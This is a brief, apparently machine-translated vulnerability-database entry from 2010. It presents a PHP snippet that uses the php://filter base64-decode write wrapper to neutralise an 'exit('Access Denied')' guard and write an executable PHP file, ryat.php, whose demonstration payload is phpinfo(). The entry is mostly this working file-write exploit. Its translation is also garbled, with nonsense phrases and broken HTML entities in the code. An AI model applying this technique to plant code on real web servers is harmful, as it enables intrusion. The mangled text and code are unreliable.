To bypass the <? PHP exit('Access Denied'); ?> Limit-vulnerability warning-the black bar safety net

2010-02-23T00:00:00
ID MYHACK58:62201026223
Type myhack58
Reporter 佚名
Modified 2010-02-23T00:00:00

Description

To bypass <? PHP exit(’Access Denied’); ?& gt; limit <? php $shellcode=’PD9waHBpbmZvKCk7Pz4’;// base64_decode <? phpinfo();?& gt; $endstr=’s’; $timestamp=$endstr.$ shellcode; file_put_contents("php://filter/write=convert.base64-decode/resource=ryat.php","<? PHP exit(’Access Denied’); ?& gt;\t$timestamp"); ?& gt; Use base64 generated gibberish can be generated: <s bedding and toilet effects+@q? 鏩<? phpinfo();?& gt; It bypasses the exit()limit, really badly.